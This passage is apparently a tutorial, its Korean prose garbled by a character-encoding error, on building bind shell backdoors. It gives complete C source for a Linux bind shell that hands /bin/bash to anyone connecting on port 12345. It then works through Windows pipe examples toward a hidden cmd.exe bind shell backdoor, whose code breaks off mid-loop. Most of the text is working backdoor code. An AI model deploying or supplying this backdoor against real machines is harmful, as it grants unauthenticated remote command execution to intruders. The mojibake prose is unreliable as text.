±× ÈÄ¿£ ¶Ç ´Ù¸¥ ¿øÇÏ´Â ÀÛ¾÷µéÀ» ½±°Ô ¸í·ÉÇÒ ¼ö Àֱ⠶§¹®ÀÌ´Ù. ±×·³, ÀÌÁ¦ºÎÅÍ Windows ȯ°æ¿¡¼­ÀÇ

Bind Shellcode¸¦ ±¸ÇöÇÏ´Â ¹æ¹ý¿¡ ´ëÇØ ¹è¿öº¸µµ·Ï ÇÏÀÚ. ¸ÕÀú, Linux ȯ°æ¿¡ ¸Â°Ô ±¸ÇöµÈ

Bind Shell BackdoorÀÇ ¼Ò½º Äڵ带 º¸ÀÚ.


==========================================================

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <sys/socket.h>

#include <sys/types.h>

#include <arpa/inet.h>


int main()

{

        int sockfd, your_sockfd, len;

        struct sockaddr_in my_addr, your_addr;


        sockfd = socket(AF_INET, SOCK_STREAM, 0);


        my_addr.sin_family = AF_INET;

        my_addr.sin_port = htons(12345);

        my_addr.sin_addr.s_addr = INADDR_ANY;

        memset(&my_addr.sin_zero, 0, 8);


        if(bind(sockfd, (struct sockaddr *)&my_addr, sizeof(my_addr))==-1){

                perror("bind");

                exit(-1);

        }

        listen(sockfd, 5);


        len = sizeof(your_addr);

        your_sockfd = accept(sockfd, (struct sockaddr *)&your_addr, &len);


        dup2(your_sockfd, 0);    // Ç¥ÁØ ÀÔ·ÂÀ» Ŭ¶óÀ̾ðÆ®·Î..

        dup2(your_sockfd, 1);    // Ç¥ÁØ Ãâ·ÂÀ» Ŭ¶óÀ̾ðÆ®·Î..

        dup2(your_sockfd, 2);    // ¿¡·¯ Ãâ·ÂÀ» Ŭ¶óÀ̾ðÆ®·Î..


        execl("/bin/bash", "bash", 0);


        close(sockfd);

        close(your_sockfd);

}

==========================================================


ÇÙ½ÉÀÌ µÇ´Â ÄÚµå´Â dup2() ÇÔ¼ö°¡ »ç¿ëµÈ ¼¼ ¶óÀÎÀÌ´Ù. dup2() ÇÔ¼ö´Â µð½ºÅ©¸³ÅÍ º¹»ç ÇÔ¼öÀ̸ç,

dup() ÇÔ¼ö°¡ ¹«Á¶°Ç µî·ÏµÇÁö ¾ÊÀº °¡Àå ³·Àº °ªÀÌ ÇÒ´çµÇ´Â °Í¿¡ ¹ÝÇÏ¿© dup2() ÇÔ¼ö´Â ÇÁ·Î±×·¡¸Ó°¡

¿øÇÏ´Â °ªÀ¸·Î ÇÒ´ç¹ÞÀ» ¼ö ÀÖ´Ù. /bin/bash°¡ ½ÇÇàµÇ¾úÀ» ¶§, ±× ÀÔ/Ãâ·ÂÀÇ ÁÖü´Â Å͹̳ÎÀÌÁö¸¸,

À§Ã³·³ dup2() ÇÔ¼ö·Î ±âÁ¸ÀÇ Ç¥ÁØ ÀÔ·Â/Ãâ·Â/¿¡·¯¸¦ socketÀ¸·Î ¹Ù²Ù¾î ¹ö¸®¸é, /bin/bash´Â ¼ÒÄÏ°ú

Åë½ÅÀ» ÇÒ ¼ö ÀÖ°Ô µÇ´Â °ÍÀÌ ÀÛµ¿ ¿ø¸®ÀÌ´Ù.


±×·³, À§ ÄÚµå Áß¿¡¼­ /bin/bash °æ·Î¸¸ c:\winnt\system32\cmd.exe ·Î ¹Ù²Ù¾îÁÖ¸é Windows ȯ°æ¿¡¼­µµ

±×´ë·Î À§ ¹éµµ¾î¸¦ »ç¿ëÇÒ ¼ö ÀÖÀ»±î? °á·ÐÀº ¾Æ´Ï´Ù. WIN32 ȤÀº WIN32 DOS ApplicationÀ¸·Î

À§¿Í °°Àº ¹éµµ¾î¸¦ ½ÇÇàÇغ¸¸é, cmd.exeÀÇ ½ÇÇà °á°ú°¡ ¼ÒÄÏÀ» ÅëÇØ Àü´ÞµÇÁö ¾ÊÀ½À» ¾Ë ¼ö ÀÖ´Ù.

¸¶Âù°¡Áö·Î ¼ÒÄÏÀ¸·ÎºÎÅÍ ¼ö½ÅµÈ ¸í·ÉÀÌ cmd.exe·Î Àü´ÞµÇÁöµµ ¾Ê´Â´Ù. ¹Ý¸é¿¡, ÀÔ·Â/Ãâ·ÂÀÇ Ã³¸®´Â

Á¤»óÀûÀ¸·Î DOS ConsoleÀ» ÅëÇØ ÀÌ·ç¾îÁø´Ù. ¾Æ¸¶µµ ÀÌ¿Í °°Àº Çö»óÀº cmd.exe°¡ ½ÇÇàµÉ ¶§,

Ç¥ÁØ ÀÔ·Â/Ãâ·Â/¿¡·¯ µð½ºÅ©¸³Å͸¦ Àç¼³Á¤Çϱ⠶§¹®ÀÎ °ÍÀ¸·Î ÃßÃøµÈ´Ù.


Áï, °á·ÐÀ» ¸»ÇÏÀÚ¸é Windows ȯ°æ¿¡¼­´Â dup2() ÇÔ¼ö°¡ ¹«¿ëÁö¹°ÀÌ µÇ¾î¹ö·È´Ù´Â °ÍÀÌ´Ù.

±×·³, dup() °è¿­ÀÇ ÇÔ¼ö¸¦ »ç¿ëÇÏÁö ¾Ê°í, ƯÁ¤ ¸í·ÉÀÇ ÀÔÃâ·ÂÀ» ¼ÒÄÏÀ¸·Î ¿¬°á½ÃÅ°´Â ¶Ç ´Ù¸¥ ¹æ¹ýÀº

¾øÀ»±î? ´ÙÇàÀ̵µ ÆÄÀÌÇÁ(PIPE)¸¦ »ç¿ëÇϸé ÀÌ·¯ÇÑ ÀÛ¾÷ÀÌ °¡´ÉÇØÁø´Ù.


ÆÄÀÌÇÁ¶õ, ÇÁ·Î¼¼½º °£ÀÇ Åë½Å¿¡ »ç¿ëµÇ´Â ±â´ÉÀÌ´Ù. ½ÇÁ¦ ÆÄÀÌÇÁ°¡ ¾çÂÊ ³¡¿¡ ±¸¸ÛÀÌ ÀÖ°í, ±× Áß ÇÑÂÊ

±¸¸ÛÀ» ÅëÇؼ­ µé¾î°£ ¹°Ã¼°¡ ¹Ý´ëÂÊ ±¸¸ÛÀ¸·Î ³ª¿Ã ¼ö ÀÖµíÀÌ, ÇÁ·Î±×·¡¹Ö¿¡¼­ÀÇ ÆÄÀÌÇÁ ¿ª½Ã ÆÄÀÌÇÁ

ÇÚµéÀ̶ó´Â °ÍÀ» ¸Å°³Ã¼·Î µÎ °³ÀÇ ÇÁ·Î¼¼½º°¡ ¼­·Î µ¥ÀÌÅ͸¦ ÁÖ°í¹ÞÀ» ¼ö ÀÖ´Ù. ´ÙÀ½Àº ÆÄÀÌÇÁ¸¦

»ç¿ëÇÏ´Â ¿¹Á¦ÀÌ´Ù. ÀÏ´Ü ÀÌÇظ¦ ½±°Ô Çϱâ À§ÇÏ¿© ÇϳªÀÇ ÇÁ·Î¼¼½º°¡ ÆÄÀÌÇÁ ÇÚµéÀ» ÀÌ¿ëÇÏ¿© ÀڷḦ

ÁÖ°í¹Þ´Â ³»¿ëÀ» ±¸ÇöÇØ º¸¾Ò´Ù.


==========================================================

#include <windows.h>


int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)

{

        // ÆÄÀÌÇÁ ÇÚµé : ¾²±â¿ë, Àбâ¿ë

        HANDLE hRead, hWrite;

        // ¼º°øÀûÀ¸·Î ó¸®µÈ ¹ÙÀÌÆ® ¼ö ÀúÀå

        DWORD ByteRead;

        // ¹®ÀÚ¿­À» ÀúÀåÇÒ º¯¼ö

        char buf[1024];


        // ÆÄÀÌÇÁ¸¦ »ý¼ºÇÑ´Ù. µÎ °³ÀÇ ÆÄÀÌÇÁ ÇÚµéÀÌ »ç¿ëµÇ¾úÀ¸¸ç, ù ¹ø° °ÍÀº Àбâ

        // Àü¿ë ÆÄÀÌÇÁ, µÎ ¹ø° °ÍÀº ¾²±â Àü¿ë ÆÄÀÌÇÁÀÌ´Ù. Áï, µÎ ¹ø°·Î ÇÚµé Àü´ÞµÈ

        // µ¥ÀÌÅ͸¦ ù ¹ø° ÇÚµéÀ» ÂüÁ¶ÇÏ¿© °¡Á®¿Ã ¼ö ÀÖ´Ù.

        // ¼¼ ¹ø° ÀÎÀÚ´Â º¸¾È ¼Ó¼ºÀ̸ç, ³× ¹ø° ÀÎÀÚ´Â ÆÄÀÌÇÁ ÇÚµéÀÌ »ç¿ëÇÒ ¹öÆÛÀÇ

        // Å©±â¸¦ ÁöÁ¤ÇÑ´Ù. 0À¸·Î Çϸé default °ªÀ¸·Î ÁöÁ¤µÈ´Ù.

        CreatePipe(&hRead, &hWrite, NULL, 0);


        // ¾²±â Àü¿ë ÆÄÀÌÇÁ·Î °ªÀ» Áý¾î³Ö¾ú´Ù.

        WriteFile(hWrite, "Test Message", 13, &ByteRead, NULL);

        // Àбâ Àü¿ë ÆÄÀÌÇÁ¿¡¼­ Áý¾î³ÖÀº °ªÀ» °¡Á®¿Ô´Ù.

        ReadFile(hRead, buf, 13, &ByteRead, NULL);


        // »©³»¿Â °ªÀ» È­¸é¿¡ Ãâ·ÂÇÑ´Ù.

        MessageBox(HWND_DESKTOP, buf, "¾Ë¸²", MB_OK);

        return 0;

}

==========================================================


À̸¦ ÄÄÆÄÀÏÇÏ¿© ½ÇÇàÇϸé, Test Message¶ó´Â ¹®ÀÚ¿­ÀÌ ¾²±â Àü¿ë ÆÄÀÌÇÁ ÇÚµéÀ» ÅëÇÏ¿© ÆÄÀÌÇÁ

¹öÆÛ·Î ÀúÀåµÇ°í, ÀÌ °ªÀÌ ´Ù½Ã Àбâ Àü¿ë ÆÄÀÌÇÁ·Î ²¨³»¾îÁ® buf º¯¼ö¿¡ ÀúÀåµÈ´Ù.

¸¶Áö¸·À¸·Î ¾Ë¸² ¹Ú½º¸¦ ÅëÇÏ¿© È­¸é¿¡ Ãâ·Â ÇÏ¿´À¸¸ç, ±× °á°ú´Â ¿¹»óÇß´ø ´ë·Î Test Message°¡ µÈ´Ù.


À§ÀÇ °úÁ¤À» ±×¸²À¸·Î Ç¥ÇöÇÏ¸é ´ÙÀ½°ú °°´Ù.


                        ¦®¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¯

WriteFile() -->  ¾²±â Àü¿ë )          [ÆÄÀÌÇÁ ¹öÆÛ]          ) Àбâ Àü¿ë -> ReadFile()

                  ÇÚµé  ¦±¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦°   ÇÚµé


               -----------------------  "Test Message" ------------------------>


À̹ø¿£ ÆÄÀÌÇÁ¸¦ Á¶±Ý ´õ ÀÀ¿ëÇÏ¿© ÄܼÖÀ¸·Î ½ÇÇàµÇ´Â ÇÁ·Î¼¼½ºÀÇ Ãâ·Â °á°ú¸¦ ÆÄÀÌÇÁ ÇÚµéÀ» ÅëÇØ

¹Þ¾Æ¿Í º¸ÀÚ. ´ÙÀ½ ÇÁ·Î±×·¥Àº ÄÜ¼Ö ¸í·ÉÀÎ ipconfig.exeÀÇ ½ÇÇà °á°ú¸¦ ÆÄÀÌÇÁ·Î ¹Þ¾Æ¿Í¼­ Windows

È­¸é¿¡ Ãâ·ÂÇØÁÖ´Â ¿¹ÀÌ´Ù.


==========================================================

#include <windows.h>


int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)

{

        // Àбâ/¾²±â Àü¿ë ÆÄÀÌÇÁ ÇÚµé

        HANDLE hRead, hWrite;

        // º¸¾È ¼³Á¤ ÁöÁ¤ ¸ñÀûÀÇ ±¸Á¶Ã¼ º¯¼ö

        SECURITY_ATTRIBUTES sa;

        // ¼º°øÀûÀ¸·Î Àоî¿Â ¹ÙÀÌÆ® ¼ö

        DWORD ByteRead;

        // ¹®ÀÚ¿­ ÀúÀå º¯¼ö

        char buf[1024];


        // À̹ø¿£ CreatePipeÀÇ ¼¼ ¹ø° ÀÎÀÚÀÎ º¸¾È ¼³Á¤À» ÁöÁ¤ÇØÁÖ¾î¾ß ÇÑ´Ù.

        // sa.bInheritHandleÀÇ °ªÀ» TRUE·Î ÁöÁ¤ÇØ ÁÖ¾î¾ß¸¸ ÇÚµé »ó¼ÓÀÌ °¡´ÉÇØÁ®

        // ´Ù¸¥ ÇÁ·Î¼¼½º°¡ ÆÄÀÌÇÁ ÇÚµéÀ» »ç¿ëÇÒ ¼ö ÀÖ°Ô µÈ´Ù.

        ZeroMemory(&sa, sizeof(SECURITY_ATTRIBUTES));

        sa.nLength= sizeof(SECURITY_ATTRIBUTES);

        sa.lpSecurityDescriptor = NULL;

        sa.bInheritHandle = TRUE;


        // º¸¾È ¼³Á¤À» Àû¿ëÇÏ¿© ÆÄÀÌÇÁ¸¦ »ý¼ºÇÑ´Ù.

        CreatePipe(&hRead, &hWrite, (SECURITY_ATTRIBUTES *)&sa, 0);


        // CreateProcess ÇÔ¼ö¸¦ À§ÇÑ ±¸Á¶Ã¼ º¯¼öµéÀÌ´Ù.

        STARTUPINFO si;         // ½ÇÇàµÉ ÇÁ·Î¼¼½ºÀÇ Æ¯¼ºÀ» ÁöÁ¤ÇÏ´Â º¯¼öÀÌ´Ù.

        PROCESS_INFORMATION pi;      // ½ÇÇàµÈ ÇÁ·Î¼¼½ºÀÇ Á¤º¸¸¦ ÀúÀåÇÒ º¯¼öÀÌ´Ù.


        // ½ÇÇàµÉ ÇÁ·Î¼¼½ºÀÇ Æ¯¼ºÀ» ÁöÁ¤ÇÑ´Ù.

        GetStartupInfo(&si);

        // Ç¥ÁØ ÀÔÃâ·Â ÇÚµé°ú À©µµ¿ì°¡ º¸¿©Áö´Â ¸ð¾çÀ» ¼³Á¤ ÇÒ ¼ö ÀÖµµ·Ï ÇÔ.

        si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;

        // Ç¥ÁØ ÀÔ·Â ÇÚµé ÁöÁ¤

        si.hStdInput = NULL;

        // Ç¥ÁØ Ãâ·Â ÇÚµé ÁöÁ¤  

        si.hStdOutput = hWrite;

        // Ç¥ÁØ ¿¡·¯ ÇÚµé ÁöÁ¤

        si.hStdError = hWrite;

        // ½ÇÇà À©µµ¿ì´Â ¼û±è ¸ðµå·Î ¼³Á¤

        si.wShowWindow = SW_HIDE;


        // À§ ¼³Á¤À» Àû¿ë½ÃÄÑ ipconfig.exe¸¦ ½ÇÇàÇÑ´Ù.

        CreateProcess(NULL, "ipconfig.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);


        // ÆÄÀÌÇÁ ¹öÆÛÀÇ °ªÀ» Àбâ Àü¿ë ÇÚµéÀ» ÅëÇØ ¹Þ¾Æ¿Â´Ù.

        ReadFile(hRead, buf, 1024, &ByteRead, NULL);

        buf[ByteRead] = NULL;


        // ¹Þ¾Æ¿Â °ªÀ» Ãâ·ÂÇÑ´Ù.

        MessageBox(HWND_DESKTOP, buf, "¾Ë¸²", MB_OK);

        return 0;

}

==========================================================


 

À§Ã³·³ ipconfig.exeÀÇ ½ÇÇà °á°ú°¡ ÆÄÀÌÇÁ ÇÚµéÀ» ÅëÇØ ºÎ¸ð ÇÁ·Î¼¼½º·Î Àü´ÞµÇ¾ú´Ù.

À§ °úÁ¤À» µµ½ÄÈ­ÇÏ¸é ´ÙÀ½°ú °°´Ù.


                          ¦®¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¯

ipconfig.exe -->  ¾²±â Àü¿ë )          [ÆÄÀÌÇÁ ¹öÆÛ]           ) Àбâ Àü¿ë -> ReadFile()

                    ÇÚµé  ¦±¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦°   ÇÚµé


                  -----------------------  "½Ç Çà °á °ú" ------------------------>


CreateProcess() ÇÔ¼ö·Î ½ÇÇàµÇ´Â ÇÁ·Î¼¼½ºÀÇ Æ¯Â¡À» ÁöÁ¤ÇÒ ¶§, Ç¥ÁØ Ãâ·Â°ú Ç¥ÁØ ¿¡·¯°¡ STDOUT,

STDERR°¡ ¾Æ´Ñ, hWrite ÆÄÀÌÇÁ ÇÚµé·Î ÇâÇϵµ·Ï ÇÏ¿´´Ù. µû¶ó¼­, ipconfig.exeÀÇ ½ÇÇà °á°ú´Â È­¸é¿¡

Ãâ·ÂµÇ´Â ´ë½Å¿¡ hWrite ÆÄÀÌÇÁ ÇÚµéÀ» °ÅÃÄ ÆÄÀÌÇÁ ¹öÆÛ·Î ÀúÀåÀÌ µÇ¾ú´Ù. ¸¶Áö¸·À¸·Î hRead

ÆÄÀÌÇÁ ÇÚµéÀ» ÅëÇÏ¿© ÆÄÀÌÇÁ ¹öÆÛÀÇ ³»¿ëÀ» °¡Á®¿Í È­¸é¿¡ Ãâ·ÂÇÑ °ÍÀÌ´Ù. WinExec() ȤÀº execl()

ÇÔ¼ö¸¦ »ç¿ëÇÏÁö ¾Ê°í, CreateProcess() ÇÔ¼ö¸¦ »ç¿ëÇÑ ÀÌÀ¯´Â ¾ÕÀÇ µÎ ÇÔ¼ö´Â ÀÌó·³ Ç¥ÁØ

ÀÔÃâ·Â ÇÚµéÀ» ÀçÁöÁ¤ÇÒ ¼ö ÀÖ´Â ±â´ÉÀÌ ¾ø±â ¶§¹®ÀÌ´Ù. ¶ÇÇÑ, ¾Õ¼­ NULL·Î ÁöÁ¤ÇØÁÖ¾ú´ø CreateProcess()ÀÇ

¸¶Áö¸·¿¡¼­ µÎ ¹ø° ÀÎÀÚ¿¡ STARTUPINFO ±¸Á¶Ã¼ º¯¼ö¸¦ Àû¿ë½ÃŲ °Íµµ Ç¥ÁØ ÀÔÃâ·Â ÇÚµé ÀçÁöÁ¤À» À§ÇÑ °ÍÀ̾ú´Ù.


ÀÚ, ¿©±â±îÁö ÀÌÇØÇÏ¿´´Ù¸é À̹ø¿£ ºÎ¸ð ÇÁ·Î¼¼½º¿¡¼­ ÀÚ½Ä ÇÁ·Î¼¼½º·Î ÆÄÀÌÇÁ¸¦ ÀÌ¿ëÇÏ¿© µ¥ÀÌÅ͸¦

Àü´ÞÇØ º¸ÀÚ. ´ÙÀ½Àº cmd.exe·Î dirÀ̶ó´Â ¸í·ÉÀ» Àü´ÞÇÑ ÈÄ, ´Ù½Ã ±× °á°ú¸¦ ¹Þ¾Æ¿Í È­¸é¿¡ Ãâ·ÂÇÏ´Â

¿¹Á¦ÀÌ´Ù. ¸î °¡Áö Äڵ尡 Ãß°¡µÈ °Í ¿Ü¿¡´Â ¾ÕÀÇ ¿¹Á¦¿Í °ÅÀÇ µ¿ÀÏÇÏ´Ù. ÀÌ ¿¹Á¦¿¡¼­ÀÇ ¿äÁ¡Àº

¹Ù·Î ÆÄÀÌÇÁ°¡ µÎ °³ »ç¿ëµÈ´Ù´Â Á¡ÀÌ´Ù. Çϳª´Â ºÎ¸ð ÇÁ·Î¼¼½º¿¡¼­ ÀÚ½Ä ÇÁ·Î¼¼½º·Î µ¥ÀÌÅ͸¦

º¸³¾ ¶§ »ç¿ëÇÒ ÆÄÀÌÇÁÀ̸ç, ¶Ç ´Ù¸¥ Çϳª´Â ¹Ý´ë·Î ÀÚ½Ä ÇÁ·Î¼¼½º¿¡¼­ ºÎ¸ð ÇÁ·Î¼¼½º·Î µ¥ÀÌÅ͸¦

º¸³¾ ¶§ »ç¿ëÇÒ ÆÄÀÌÇÁÀÌ´Ù. ÀÌ µÎ °³ÀÇ ÆÄÀÌÇÁ¸¦ °¢°¢ ÆÄÀÌÇÁ1, ÆÄÀÌÇÁ2¶ó°í ¸í¸íÇÏ¿´´Ù.


==========================================================

#include <windows.h>


int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)

{

        // Àбâ/¾²±â Àü¿ë ÆÄÀÌÇÁ ÇÚµé 1

        HANDLE hRead1, hWrite1;

        // Àбâ/¾²±â Àü¿ë ÆÄÀÌÇÁ ÇÚµé 2

        HANDLE hRead2, hWrite2;

        // º¸¾È ¼³Á¤ ÁöÁ¤ ¸ñÀûÀÇ ±¸Á¶Ã¼ º¯¼ö

        SECURITY_ATTRIBUTES sa;

        // ¼º°øÀûÀ¸·Î Àоî¿Â ¹ÙÀÌÆ® ¼ö

        DWORD ByteRead;

        // ¹®ÀÚ¿­ ÀúÀå º¯¼ö

        char buf[1024];


        // º¸¾È ¼³Á¤ ÁöÁ¤

        ZeroMemory(&sa, sizeof(SECURITY_ATTRIBUTES));

        sa.nLength= sizeof(SECURITY_ATTRIBUTES);

        sa.lpSecurityDescriptor = NULL;

        sa.bInheritHandle = TRUE;


        // ÆÄÀÌÇÁ 1À» »ý¼ºÇÑ´Ù. (ºÎ¸ð -> ÀÚ½Ä)

        CreatePipe(&hRead1, &hWrite1, (SECURITY_ATTRIBUTES *)&sa, 0);

        // ÆÄÀÌÇÁ 2¸¦ »ý¼ºÇÑ´Ù. (ÀÚ½Ä -> ºÎ¸ð)

        CreatePipe(&hRead2, &hWrite2, (SECURITY_ATTRIBUTES *)&sa, 0);


        // CreateProcess ÇÔ¼ö¸¦ À§ÇÑ ±¸Á¶Ã¼ º¯¼öµéÀÌ´Ù.

        STARTUPINFO si;         

        PROCESS_INFORMATION pi;      


        // ½ÇÇàµÉ ÇÁ·Î¼¼½ºÀÇ Æ¯¼ºÀ» ÁöÁ¤ÇÑ´Ù.

        GetStartupInfo(&si);

        si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;

        // Ç¥ÁØ ÀÔ·Â ÇÚµé ÁöÁ¤. ¾ÕÀÇ ¿¹Á¦¿¡¼± NULLÀ» »ç¿ëÇÏ¿´Áö¸¸, À̹ø¿£ ÆÄÀÌÇÁ 1À»

        // ÁöÁ¤ÇØ ÁÖ¾ú´Ù. ¶ÇÇÑ, ÀÚ½Ä ÇÁ·Î¼¼½º¿¡¼­ °ªÀ» Àо °ÍÀ̹ǷΠÀбâ Àü¿ë

        // ÆÄÀÌÇÁ¸¦ »ç¿ëÇÑ °Í¿¡ ÁÖÀÇÇÑ´Ù.

        si.hStdInput = hRead1;

        si.hStdOutput = hWrite2;

        si.hStdError = hWrite2;

        si.wShowWindow = SW_HIDE;


        // À§ ¼³Á¤À» Àû¿ë½ÃÄÑ cmd.exe¸¦ ½ÇÇàÇÑ´Ù.

        CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);


        // ºÎ¸ð -> ÀÚ½ÄÀ¸·Î ÆÄÀÌÇÁ 1À» ÀÌ¿ëÇÏ¿© µ¥ÀÌÅ͸¦ Àü¼ÛÇÑ´Ù.

        WriteFile(hWrite1, "dir\n", 4, &ByteRead, NULL);


        // ½ÇÇà °á°ú°¡ ÆÄÀÌÇÁ ¹öÆÛ¿¡ ÀúÀåµÉ ÃæºÐÇÑ Áö¿¬ ½Ã°£À» ÁØ´Ù.

        Sleep(100); // 0.1ÃÊÀÌ´Ù.


        // ½ÇÇà °á°ú¸¦ ÆÄÀÌÇÁ 2¸¦ ÅëÇÏ¿© ¹Þ¾Æ¿Â´Ù.

        ReadFile(hRead2, buf, 1024, &ByteRead, NULL);

        buf[ByteRead] = NULL;


        // ¹Þ¾Æ¿Â °ªÀ» Ãâ·ÂÇÑ´Ù.

        MessageBox(HWND_DESKTOP, buf, "¾Ë¸²", MB_OK);

        return 0;

}

==========================================================




½ÇÇàÇϸé À§¿Í °°Àº °á°ú¸¦ º¼ ¼ö ÀÖ´Ù. ÇϳªÀÇ ÆÄÀÌÇÁ·Î ¼Û½Å°ú ¼ö½ÅÀ» ¸ðµÎ ÇÒ ¼ö´Â ¾ø³Ä°í

Àǹ®À» °¡Áú ¼ö ÀÖ´Ù. ÇÏÁö¸¸ ÆÄÀÌÇÁ´Â ¾ç¹æÇâÀÌ ¾Æ´Ñ, ´Ü¹æÇâÀ¸·Î¸¸ ÀÛµ¿ÇÑ´Ù. µû¶ó¼­, ºÎ¸ð

ÇÁ·Î¼¼½ºÀÇ ¼Û½Å -> ÆÄÀÌÇÁ -> cmd.exeÀÇ ¼ö½ÅÀ» À§ÇÑ ÆÄÀÌÇÁ 1°ú cmd.exeÀÇ ¼Û½Å -> ÆÄÀÌÇÁ -> ºÎ¸ð ÇÁ·Î¼¼½ºÀÇ

¼ö½ÅÀ» À§ÇÑ ÆÄÀÌÇÁ 2°¡ °¢°¢ ÇÊ¿äÇß´ø °ÍÀÌ´Ù. ¿ª½Ã ±×¸²À¸·Î Ç¥ÇöÇÏ¸é ´ÙÀ½°ú °°´Ù.


                           ¦®¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¯

ºÎ¸ðÇÁ·Î¼¼½º -->  ¾²±â Àü¿ë )         [ÆÄÀÌÇÁ ¹öÆÛ 1]         ) Àбâ Àü¿ë -> cmd.exe

                     ÇÚµé  ¦±¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦°   ÇÚµé


                  -----------------------  "¸í ·É Àü ¼Û" ------------------------>




                           ¦®¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¯

ºÎ¸ðÇÁ·Î¼¼½º <--  Àбâ Àü¿ë )         [ÆÄÀÌÇÁ ¹öÆÛ 2]         ) ¾²±â Àü¿ë <- cmd.exe

                     ÇÚµé  ¦±¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦°   ÇÚµé


                  <-----------------------  "°á °ú Àü ¼Û" ------------------------


Windows ±â¹ÝÀÇ Bind Shell Backdoor ±¸ÇöÀ» À§ÇÑ ±âº» Áö½ÄÀº ÀÌÁ¤µµ¸é ÃæºÐÇÏ´Ù. ÀÌÁ¦ Áö±Ý±îÁö

¹è¿î ³»¿ëÀ» Åä´ë·Î Bind Shell Backdoor¸¦ ±¸ÇöÇØ º¸ÀÚ.


==========================================================

#include <windows.h>


// ¿¡·¯ ¸Þ½ÃÁö Ãâ·Â ÇÔ¼ö

void Error(char *str)

{

        MessageBox(HWND_DESKTOP, str, "¾Ë¸²", MB_OK);

        PostQuitMessage(0);

}


int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)

{

        // ¼ÒÄÏ ÃʱâÈ­ ½ÃÀÛ

        WSADATA wsaData;

        WORD Version;

        Version = MAKEWORD(2, 0);

        WSAStartup(Version, &wsaData);

        // ¼ÒÄÏ ÃʱâÈ­ ³¡


        int sockfd, client_sockfd, length;

        struct sockaddr_in server_addr, client_addr;

        sockfd = socket(AF_INET, SOCK_STREAM, 0);


        if(sockfd < 0)

                Error("socket error");


        server_addr.sin_family = AF_INET;

        server_addr.sin_port = htons(12345);

        server_addr.sin_addr.s_addr = INADDR_ANY;

        memset(&server_addr.sin_zero, 0, sizeof(server_addr.sin_zero));


        if(bind(sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr)) != 0)

                Error("bind");


        listen(sockfd, 5);


        length = sizeof(client_addr);

        MessageBox(HWND_DESKTOP, "¹é±×¶ó¿îµå·Î ÀÛµ¿ÇÕ´Ï´Ù. Æ÷Æ® : 12345", "¾Ë¸²", MB_OK);


        HANDLE hRead1, hWrite1, hRead2, hWrite2;

        STARTUPINFO si;

        PROCESS_INFORMATION pi;


        SECURITY_ATTRIBUTES sa;

        ZeroMemory(&sa, sizeof(SECURITY_ATTRIBUTES));

        sa.nLength= sizeof(SECURITY_ATTRIBUTES);

        sa.lpSecurityDescriptor = NULL;

        sa.bInheritHandle = TRUE;


        // ¼ÒÄÏ -> read -> hWrite1 -> ÆÄÀÌÇÁ ¹öÆÛ 1 -> hRead1 -> cmd.exe

        CreatePipe(&hRead1, &hWrite1, (SECURITY_ATTRIBUTES *)&sa, 0);


        // cmd.exe -> hWrite2 -> ÆÄÀÌÇÁ ¹öÆÛ 2 -> hRead2 -> ReadFile -> ¼ÒÄÏ

        CreatePipe(&hRead2, &hWrite2, (SECURITY_ATTRIBUTES *)&sa, 0);


        GetStartupInfo(&si);

        si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;

        si.hStdInput = hRead1;  // ÆÄÀÌÇÁ ¹öÆÛ 1ÀÇ °ªÀ» °¡Á®°¡¶ó.

        si.hStdOutput = hWrite2; // ÆÄÀÌÇÁ ¹öÆÛ 2·Î °á°ú¸¦ ÀúÀåÇ϶ó.

        si.hStdError = hWrite2; // ¸¶Âù°¡Áö.

        si.wShowWindow = SW_HIDE;


        char buf[1024];

        ULONG ByteRead;

                        

        CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);


        client_sockfd = accept(sockfd, (struct sockaddr *)&client_addr, &length);

        if(client_sockfd < 0)

                Error("accept");


        while(1){

                // ÆÄÀÌÇÁ ¹öÆÛ¿¡ »õ·Î¿î °ªÀÌ µé¾î¿Ô´ÂÁö¸¦ °Ë»ç.

                PeekNamedPipe(hRead2, buf, 1024, &ByteRead, NULL, NULL);

                        

                if(ByteRead > 0)

                {

                        ReadFile(hRead2, buf, 1024, &ByteRead, NULL);

                        send(client_sockfd, buf, ByteRead, 0);

                }


                if(length = recv(client_sockfd, buf, 1024, 0))

                        WriteFile(hWrite1, buf, length, &ByteRead, NULL);


                if(length < 1)

                        break;


                // ¸í·ÉÀÇ ½ÇÇà °á°ú°¡ ÆÄÀÌÇÁ ¹öÆÛ¿¡ ÀúÀåµÉ ¶§±îÁöÀÇ ÃæºÐÇÑ

                // Áö¿¬ ½Ã°£À» ÁÖÀÚ.

                Sleep(100); // 0.1ÃÊ

        }

        closesocket(sockfd);

